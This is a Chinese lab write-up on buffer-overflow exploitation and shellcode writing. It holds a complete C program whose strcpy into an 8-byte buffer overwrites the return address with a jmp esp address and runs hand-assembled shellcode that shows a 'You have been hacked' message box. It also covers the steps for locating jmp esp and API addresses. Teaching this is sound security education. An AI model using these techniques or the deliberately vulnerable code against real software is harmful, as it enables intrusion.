缓冲区溢出利用与ShellCode编写
一、实验目的
- 熟悉编写shellCode的流程
- 掌握缓冲区溢出的利用
二、实验环境
- 系统环境:Windows环境
- 软件环境:C++ ,缓冲区溢出文件链接
三、实验原理
- 要实施一次有效的缓冲区溢出攻击,攻击者必须完成如下任务:
(1)在程序的地址空间里植入适当的代码(称为shellcode)用于完成获取系统控制权等非法任务。
(2)通过修改寄存器或内存,让程序执行流跳转到攻击者植入的shellcode地址空间执行。 - 在具体实现时,我们通过三个步骤完成缓冲区溢出:
(1).精确查找返回地址的位置
(2).查找一个适合的地址用于覆盖原始地址
(3).编写shellcode到对应的缓冲区
(4).编写shellcode弹出攻击对话框
四、实验步骤
- 利用缓冲区溢出漏洞首先需要精确查找到返回地址的位置
打开Windows7虚拟机,编写一个overrun.dsw工程文件,代码如下所示:
#include "string.h"
#include "stdio.h"
#include "windows.h"
char name[] = "ABCDEFGH"
"IJKL"
"\xb3\x00\x00\x00"//填入获取的jmp esp指令地址
"\x33\xDB" //xor ebx,ebx
"\x53" //push ebx
"\x68\x69\x6E\x67\x20"//push 0x20676e69
"\x68\x57\x61\x72\x6E"//push 0x6e726157
"\x8B\xC4" //mov eax,esp
"\x53" //push ebx
"\x68\x21\x20\x20\x20"//push 0x20202021
"\x68\x63\x6b\x65\x64"//push 0x64656b63
"\x68\x6e\x20\x68\x61"//push 0x6168206e
"\x68\x20\x62\x65\x65"//push 0x65656220
"\x68\x68\x61\x76\x65"//push 0x65766168
"\x68\x59\x6f\x75\x20"//push 0x20756f59
"\x8B\xCC" //mov ecx,esp
"\x53"//push ebx
"\x50"//push eax
"\x51"//push ecx
"\x53"//push ebx
"\xb8\x00\x00\x00\x00"//MessageBoxA地址赋给eax
"\xFF\xD0" //call eax
"\x53" //push ebx
"\xb8\x00\x00\x00\x00" //将之前实验获取的ExitProcess函数的地址赋给eax
"\xFF\xD0"; //call eax;
int main()
{
char buffer[8];
LoadLibrary("user32.dll");
strcpy(buffer,name);
printf("%s\n",buffer);
getchar();
return 0;
}
获取jmp esp 指令地址:
打开缓冲区溢出文件夹—找到Searchjmp文件夹,加载SearhjmpEsp.dsw文件。运行程序,程序列出jmp esp指令的地址。我们随机选取一个jmp esp的地址,例如:0x75a0a0b3如下图所示:获取jmp esp指令地址

获取对话框函数(注入函数)地址:
通过漏洞调用MessageBoxA对话框首先要获取相关函数的地址,双击打开缓冲区溢出文件夹—找到Searchjmp文件夹,加载SerchFunctionAddr.dsw文件,运行程序。获取对应函数的地址。函数MessageBoxA的地址为0x759aea11,函数ExitProcess的地址为0x76e0214f。如图2-2-3所示。(修改代码可以获取其他API函数的地址)为了让溢出程序正常关闭,这里我们还获取了ExitProcess函数的地址

将获取jmp esp 指令地址和获取对话框函数(注入函数)地址,替换overrun.cpp文件内的jmp esp指令地址和MessageBoxA和ExitProcess地址。
#include "string.h"
#include "stdio.h"
#include "windows.h"
char name[] = "ABCDEFGH"
"IJKL"
"\xb3\xa0\xa0\x75"//填入获取的jmp esp指令地址
"\x33\xDB" //xor ebx,ebx
"\x53" //push ebx
"\x68\x69\x6E\x67\x20"//push 0x20676e69
"\x68\x57\x61\x72\x6E"//push 0x6e726157
"\x8B\xC4" //mov eax,esp
"\x53" //push ebx
"\x68\x21\x20\x20\x20"//push 0x20202021
"\x68\x63\x6b\x65\x64"//push 0x64656b63
"\x68\x6e\x20\x68\x61"//push 0x6168206e
"\x68\x20\x62\x65\x65"//push 0x65656220
"\x68\x68\x61\x76\x65"//push 0x65766168
"\x68\x59\x6f\x75\x20"//push 0x20756f59
"\x8B\xCC" //mov ecx,esp
"\x53"//push ebx
"\x50"//push eax
"\x51"//push ecx
"\x53"//push ebx
"\xb8\x11\xea\x9a\x75"//MessageBoxA地址赋给eax
"\xFF\xD0" //call eax
"\x53" //push ebx
"\xb8\x4F\x21\xe0\x76" //将之前实验获取的ExitProcess函数的地址赋给eax
"\xFF\xD0"; //call eax;
int main()
{
char buffer[8];
LoadLibrary("user32.dll");
strcpy(buffer,name);
printf("%s\n",buffer);
getchar();
return 0;
}
- 运行overrun.cpp程序,按下空格,弹出对话框成功。如下图所示:

缓冲区溢出利用与ShellCode编写的更多相关文章
- 网络安全(超级详细)零基础带你一步一步走进缓冲区溢出漏洞和shellcode编写!
零基础带你走进缓冲区溢出,编写shellcode. 写在前面的话:本人是以一个零基础者角度来带着大家去理解缓冲区溢出漏洞,当然如果你是开发者更好. 注:如果有转载请注明出处!创作不易.谢谢合作. 0. ...
- 缓冲区溢出利用——捕获eip的傻瓜式指南
[译文] 摘要:为一个简单的有漏洞程序写一个简单的缓冲区溢出EXP,聚焦于遇到的问题和关键性的教训,提供详细而彻底的描述 内容表:1. I pity the fool, who can't smash ...
- 缓冲区溢出分析第04课:ShellCode的编写
前言 ShellCode究竟是什么呢,其实它就是一些编译好的机器码,将这些机器码作为数据输入,然后通过我们之前所讲的方式来执行ShellCode,这就是缓冲区溢出利用的基本原理.那么下面我们就来编写S ...
- 缓冲区溢出分析第05课:编写通用的ShellCode
前言 我们这次的实验所要研究的是如何编写通用的ShellCode.可能大家会有疑惑,我们上次所编写的ShellCode已经能够很好地完成任务,哪里不通用了呢?其实这就是因为我们上次所编写的ShellC ...
- 缓冲区溢出之栈溢出利用(手动编写无 payload 的 Exploit)
0x01 介绍 Exploit 的英文意思就是利用,它在黑客眼里就是漏洞利用.有漏洞不一定就有Exploit(利用),有Exploit就肯定有漏洞.编写缓冲区溢出的Exploit分为3个方面:漏洞溢出 ...
- 简单尝试利用维控LeviStudioU的一栈缓冲区溢出漏洞
这是别人给我发的,让我分析一下,看能否写出exp.只怪自己水平不够,最后没能写出exp,以下为自己的分析思路 环境为win10 pro x64 英文版(10.0.16299) 默认安全配置 一.漏洞分 ...
- Kali学习笔记22:缓冲区溢出漏洞利用实验
实验机器: Kali虚拟机一台(192.168.163.133) Windows XP虚拟机一台(192.168.163.130) 如何用Kali虚拟机一步一步“黑掉”这个windowsXP虚拟机呢? ...
- 缓冲区溢出基础实践(一)——shellcode 与 ret2libc
最近结合软件安全课程上学习的理论知识和网络资料,对缓冲区溢出漏洞的简单原理和利用技巧进行了一定的了解.这里主要记录笔者通过简单的示例程序实现缓冲区溢出漏洞利用的步骤,按由简至繁的顺序,依次描述简单的 ...
- 软件安全攻防--缓冲区溢出和shellcode
缓冲区溢出漏洞实验报告 实验楼中有seed缓冲区溢出漏洞实验,实验内容与课本中要求的实验基本一致,便利用实验楼提供好的现成实验环境来完成这次的实践内容. 一.实验简介 缓冲区溢出是指程序试图向缓冲区写 ...
随机推荐
- 管理 Python 多版本,pyenv 用起来
介绍 学习使用pyenv在本地安装多个 Python 版本,这样既不影响工作,也不影响生活~ pyenv 可让你轻松地在多个 Python 版本之间切换.它简单.不引人注目,并且遵循 UNIX 的单一 ...
- C# - 音乐小闹钟_BetaV2.0
时间:2017-11-21 作者:byzqy 介绍: 虽然上一版本基本实现了闹钟的功能,但是界面.功能.用户体验(简直谈不上体验^_^),以及众多的bug,所以升级,刻不容缓! 还是先看一下Beta ...
- Ubuntu 配置、使用samba共享文件夹
安装库 sudo apt install smbclient samba samba-common 启动samba sudo /etc/init.d/samba start 备份配置文件 sudo c ...
- HCNP Routing&Switching之OSPF外部路由类型以及forwarding address
前文我们了解了OSPF的4类.5类LSA,回顾请参考https://www.cnblogs.com/qiuhom-1874/p/15222969.html:今天我们来聊一聊外部路由类型和forward ...
- 基于Linux系统ipython和集成开发环境Pycharm的安装
1.简介 Python是一门跨平台的开源.免费的.解释型.面向对象.带有动态语义的脚本语言,同时也支持伪编译以进行优化和提高运行速度,还支持使用py2exe工具将Python程序转换为exe可执行程序 ...
- AWS扩容EC2实例根空间
文章原文 aws 端操作 先在EC2 实例中选中磁盘 然后打开跟设备 修改大小后保存 ec2 端操作 lsblk 查看当前设备的磁盘编号 df -T -H 查看扩容前的空间大小并确定磁盘格式 grow ...
- Django使用tinymce富文本编辑器
1 - 安装 pip install django-tinymce==2.6.0 2 - 注册app INSTALLED_APPS = ( ... 'tinymce', ) 3 - 在setting中 ...
- Tars | 第4篇 Subset路由规则业务分析与源码探索
目录 前言 1. Subset不是负载均衡 1.1 任务需求 1.2 负载均衡源码结构图 1.3 负载均衡四种调用器 1.4 新增两种负载均衡调用器 1.5 Subset应该是"过滤&quo ...
- ClientValidationFunction
CustomValidator.ClientValidationFunction 属性 获取或设置用于验证的自定义客户端脚本函数的名称. 命名空间: System.Web.UI.WebContro ...
- Jetpack Compose学习(4)——Image(图片)使用及Coil图片异步加载库使用
原文地址 Jetpack Compose学习(4)--Image(图片)使用及Coil图片异步加载库使用 | Stars-One的杂货小窝 本篇讲解下关于Image的使用及使用Coil开源库异步加载网 ...